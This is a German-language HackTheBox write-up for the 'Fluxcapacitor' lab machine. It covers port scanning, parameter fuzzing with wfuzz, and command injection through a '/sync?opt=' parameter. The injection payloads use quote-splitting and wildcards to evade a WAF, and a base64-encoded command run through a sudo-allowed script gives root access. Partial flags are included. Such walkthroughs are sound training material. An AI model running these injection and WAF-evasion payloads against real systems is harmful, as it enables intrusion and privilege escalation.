4 minutes
HackTheBox Fluxcapacitator
HackTheBox – Fluxcapacitor WriteUp | Tipps + Anleitung | htb
Fluxcapacitor ist eine der vielen Verfügbaren CTF Challenges von HackTheBox. Fluxcapacitor ist eine leichte bis mittelschwere Maschine von HackTheBox.
Tipps
[su_spoiler title=“Tipp 1” open=“no” style=“fancy” icon=“plus” anchor="" class=""]
[/su_spoiler]
[su_spoiler title=“Tipp 2” open=“no” style=“fancy” icon=“plus” anchor="" class=""]
[/su_spoiler]
[su_spoiler title=“Tipp 3” open=“no” style=“fancy” icon=“plus” anchor="" class=""]
[/su_spoiler]
[su_spoiler title=“Tipp 4” open=“no” style=“fancy” icon=“plus” anchor="" class=""]
[/su_spoiler]
[su_spoiler title=“Tipp 5” open=“no” style=“fancy” icon=“plus” anchor="" class=""]
[/su_spoiler]
Video
[su_spoiler title=“Kurzes Video Walkthrough ohne Erklärungen” open=“no” style=“fancy” icon=“plus” anchor="" class=""]
[/su_spoiler]
Anleitung
[su_spoiler title=“Schritt 1” open=“no” style=“fancy” icon=“plus” anchor="" class=""]
Beginnen wir wie gewohnt mit einem Nmap-Scan um herauszufinden welche Ports offen sind. Dabei können wir das Argument -sV benutzen, um uns die genaue Bezeichnung und die Version der Service anzeigen zu lassen.
Auf Port 80 läuft ein Webserver. Allerdings steht bei der Version nur SuperWAF. WAF steht für Web Application Firewall und ist unter dafür da um Webanwendungen vor Angriffen wie z.B. SQL Injection, XSS, Parameter Tampering oder Command Injection zu schützen.
[/su_spoiler]
[su_spoiler title=“Schritt 2” open=“no” style=“fancy” icon=“plus” anchor="" class=""]
Sehen wir uns doch mal an was sich auf dem Webserver befindet.
Nichts interessantes hier, wie sieht es mit dem Seitenquelltext (Strg + U) aus?
–>
Ein Verweis auf die Url /sync.
[/su_spoiler]
[su_spoiler title=“Schritt 3” open=“no” style=“fancy” icon=“plus” anchor="" class=""]
Wenn wir http://10.10.10.69/sync besuchen, bekommen wir die Rückmeldung 443 - Access Forbidden.
Wahrscheinlich verhindert die WAF, dass wir auf die Seite zugreifen können.
Können wir mit curl darauf zugreifen?
Mit curl funktioniert es. Wir bekommen Datum und Uhrzeit zurück.
[/su_spoiler]
[su_spoiler title=“Schritt 4” open=“no” style=“fancy” icon=“plus” anchor="" class=""]
Warum uns der Zugriff verwehrt wird, wenn wir einen Internet-Browser benutzen, aber nicht wenn wir curl benutzen, kann mehrere Gründe haben.
Darüber können wir uns aber später kümmern.
Vielleicht können wir /sync einen Parameter übergeben und dies ausnutzen um z.B. Code auszuführen (Command Injection).
Um mögliche Parameter herauszufinden, können wir einen Fuzzer wie z.B. wfuzz benutzen.
Wfuzz kannst du ganz einfach mit apt install wfuzz installieren.
-c sorgt dafür, dass wir einen farbigen output bekommen.
Mit -t können wir angeben wie viele gleichzeitige Verbindungen hergestellt werden sollen
FUZZ wird durch die Begriffe aus der Wörterliste ersetzt.
Die Standard-Antwort für ungültige Parameter scheint 19 Zeichen lang zu sein. Mit Hilfe von –hh 19 können wir alle Wörter nicht anzeigen lassen, welche zu einer 19 Zeichen langen Antwort führen.
Lassen wir wfuzz jetzt nochmal starten.
Ein Parameter wurde gefunden, welcher eine 175 Zeichen lange Antwort hervorgerufen hat.
[/su_spoiler]
[su_spoiler title=“Schritt 5” open=“no” style=“fancy” icon=“plus” anchor="" class=""]
Jetzt wo wir einen gültigen Parameter wissen, den wir übergeben können, können wir Command Injection ausprobieren.
Ich werde dafür Burp benutzen, man kann dafür aber auch z.B. Curl benutzen (curl “http://10.10.10.69/sync?opt=BEFEHL”).
Wenn wir Burp geöffnet haben, können wir http://10.10.10.69/sync?opt= im Browser öffnen. Burp wird diese Anfrage abfangen. Wenn wir Rechtsklick darauf machen können wir **Send to Repeater **auswählen oder einfach Strg + R drücken.
Dann können wir zu dem Repeater Tab öffnen und dort die Anfrage bearbeiten und immer wieder absenden. Rechts sehen wir dann die Antwort.
Wenn wir /sync?opt=ls probieren, bekommen wir wieder nur 403 Forbidden zurück. Die WAF hat wahrscheinlich unseren Versuch einen Befehl auszuführen erkannt und verhindert diesen.
[/su_spoiler]
[su_spoiler title=“Schritt 6” open=“no” style=“fancy” icon=“plus” anchor="" class=""]
TheMiddle, der Ersteller von FluxCapacitor, hat zwei Artikel in denen er Techniken zur Umgehung der WAF erklärt (WAF Evasion Techniques). Der erste Artikel ist hier und der zweite hier.
/sync?opt=’ l’s'
[…]
home
[…]
root
[…]
/sync?opt=’ l’s’ /home'
FluxCapacitorInc
themiddle
/sync?opt=’ l’s’ /home/FluxCapacitorInc'
403 Forbidden
/sync?opt=’ l’s’ /home/F???Capacitor???'
user.txt
/sync?opt=’ c’a’t /home/F???Capacitor???/u???.txt'
b8b 7bc
/sync?opt=’ s’ud’o -l'
[…]
User nobody may run the following commands on fluxcapacitor:
(ALL) ALL
(root) NOPASSWD: /home/themiddle/.monit
/sync?opt=’ c’a’t /home/themiddle/.monit'
#!/bin/bash
if [ “$1” == “cmd” ]; then
echo “Trying to execute ${2}”
CMD=$(echo -n ${2} | base64 -d)
bash -c “$CMD”
fi
/sync?opt=’ ’s’ud’o’ /home/themiddle/.monit cmd Y2F0IC9yb290L3Jvb3QudHh0Cg=='
Trying to execute Y2F0IC9yb290L3Jvb3QudHh0Cg==
bdc 30e